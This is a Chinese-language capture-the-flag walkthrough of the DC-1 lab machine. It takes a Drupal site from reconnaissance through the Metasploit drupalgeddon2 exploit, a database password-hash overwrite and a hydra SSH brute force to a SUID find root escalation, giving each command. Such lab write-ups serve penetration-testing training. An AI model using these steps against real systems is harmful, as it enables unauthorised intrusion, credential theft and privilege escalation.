DC-1靶机渗透测试
- 一、信息搜集
- 1、嗅探寻找存活主机
- 2、查找开放端口
- 3、查找敏感目录
- 二、漏洞利用
- 1、web访问
- 2、寻找Drupal 的config文件
- 3、寻找网站登录密码
- 4、寻找靶机的用户名和密码
- 5、远程登录
- 6、提权
一、信息搜集
1、嗅探寻找存活主机
命令:arp-scan -l
找到对应ip地址
2、查找开放端口
命令:nmap -T4 -A -v 192.168.219.132
发现开放22,80,111端口
开放80端口可以访问web https://192.168.219.132
3、查找敏感目录
命令:dirsearch -u 192.168.219.131 -x 403,404
没有什么有用的信息
二、漏洞利用
1、web访问
访问web,发现CMS为Drupal,并且有登录页面,尝试突破
使用msf查找Drupal漏洞
命令:use drupal 寻找合适的payload
命令:use exploit/unix/webapp/drupal_drupalgeddon2 使用excellent的最好,这个介绍是injection
命令:show options 需要填写的内容(攻击ip和端口)
命令:run 等待攻击成功(如果不成功,就选择另一个payload)
命令:ls发现flag1.txt : Every good CMS needs a config file - and so do you.
命令:shell后python -c 'import pty;pty.spawn("/bin/bash")'开启终端
2、寻找Drupal 的config文件
命令:cd sites/default/settings.php
发现了flag2
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
里面发现了数据库的用户名和密码
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
3、寻找网站登录密码
命令:mysql -u drupaldb -p
命令:show databases;
命令:use drupaldb;
命令:select * from users;
发现密码是被加密的
drupal可以利用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下。使用加密脚本加密新密码:123456,生成加密密文,将所得密文替换MySQL数据库中的原有密文,实现密码更新
命令:update users set pass='$S$DTQFbqOip8PKBx6aJ1V/1Bq4GJJBDI5j2.yp0XhGw2rUCBWjj22U' where name='admin';
使用admin和123456登录网站即可看到flag3
flag3:Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
4、寻找靶机的用户名和密码
命令:cat /etc/passwd
发现
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
考虑爆破flag4的密码
命令:hydra -l flag4 -P /usr/share/john/password.lst 192.168.219.132 ssh
爆破结果:[22][ssh] host: 192.168.219.132 login: flag4 password: orange
得到了flag4对应的密码是orange
5、远程登录
命令:ssh flag4@192.168.219.132
命令:ls发现flag4.txt
命令:cat flag4.txt得到flag4
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
6、提权
命令:find / -perm -4000
发现find有root权限
命令:find / -name 233 -exec "/bin/sh" \;
提权到root权限
命令:cd /root
命令:cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7